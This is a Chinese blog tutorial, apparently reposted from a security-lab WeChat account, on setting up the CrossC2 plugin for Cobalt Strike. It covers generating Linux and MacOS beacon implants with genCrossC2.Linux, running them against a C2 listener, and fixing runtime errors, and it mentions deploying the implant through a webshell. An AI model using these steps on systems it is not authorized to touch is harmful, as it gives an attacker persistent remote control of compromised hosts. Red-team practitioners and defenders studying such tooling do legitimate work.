0x01 前言
Cross C2是一个支持Linux & MacOS系统的拓展插件,支持用户自定义生成的动态库,以无文件落地的方式从内存中加载执行动态库或可执行文件,可做一些简单的操作,记录一下使用过程中遇到的一些小问题。
Cross c2支持架构说明:
0x02 创建监听器
Cross C2目前只支持HTTPS Beacon,所以在Listenrs中选择HTTPS进行监听
Cobalt Strike -> Listeners -> Add
点击Save建立监听
0x02 安装插件
将CrossC2.cna、genCrossC2.Linux两个文件复制到Cobalt Strike服务端(必须处于同一目录)
复制文件之前需要注意,将CrossC2.cna文件第37行/xxxx/xxxxx/genCrossC2改为Cobalt Strike服务端的根目录
$process = exec("/xxxx/xxxxx/genCrossC2"." ".$host." ". $port." null null ".$system." ".$arch." ".$outputFileName);
用nohup命令将CrossC2.cna添加到服务端插件中(仅供参考,这一步实际上是没有必要的)
nohup ./agscript [host] [port] [username]
CrossC2.cna &
Windows客户端GUI的使用方法
CrossC2 -> CrossC2 Payload Generator -> genCrossC2
因为GUI琢磨半天也没能生成成功,所以我们以Linux为例,在Linux系统中调用底层程序去生成可执行文件
0x03 安装JDK1.8环境
Centos7命令直接安装并自动配置环境变量
yum install java-1.8.0-openjdk* -y
查看是否安装成功及版本号
(Tips:如果要在单独的一台Centos机器上运行,需要将整个Cobalt Strike服务端打包复制过去)
0x04 生成可执行文件
生成可执行文件的命令
[ ]: ./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName]
-platform 'MacOS' / 'Linux'
-arch 'x86' / 'x64'
[10.10.10.10 40443 null null Linux x64 C2 ]: ./genCrossC2.Linux
错误1:
某云自带的JAVA环境下运行后发现报错,后来了解到是因为frp的系统架构和安装环境的系统架构不匹配导致的,重新安装frp即可
错误2:
某机器运行后发现JAVA报错,后来了解到因为需要将服务端的.cobaltstrike.beacon_keys文件复制到本地Cobalt Strike目录下
最后在Centos上执行生成成功
chmod给权限后运行,保持状态可以安装使用screen,个人感觉这个好用一点
screen ./C2
Cobalt Strike客户端上线Linux主机
可以运用到webshell中,但是碰巧遇到一个报错执行不了,是因为glibc动态库版本的问题
查看当前glibc动态库版本
strings /lib64/libc.so.6 |grep GLIBC
虽然存在libc.so.6,但是调用的动态库版本不一样,目前只支持GLIBC_2.14、GLIBC_2.15、GLIBC_2.17
所以解决方法是去官方:http://ftp.gnu.org/gnu/libc/
下载对应版本库 -> 解压 -> 进入目录 -> 编译 -> 安装
但是覆盖或者升级动态库的后果可能会比较严重,这里就不继续了
参考链接:
https://gitmemory.com/gloxec (Cross C2运行问题大全)
https://gloxec.github.io/CrossC2/zh_cn/ (Cross C2中文使用方法)
https://github.com/gloxec/CrossC2/issues/23
https://github.com/gloxec/CrossC2/issues/16
https://www.bugfor.com/vuls/4000.html
https://blog.csdn.net/LEON1741/article/details/78205198
扫描下方二维码加入星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!
本文始发于微信公众号(Ms08067安全实验室):Cobalt Strike使用Cross C2上线Linux
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论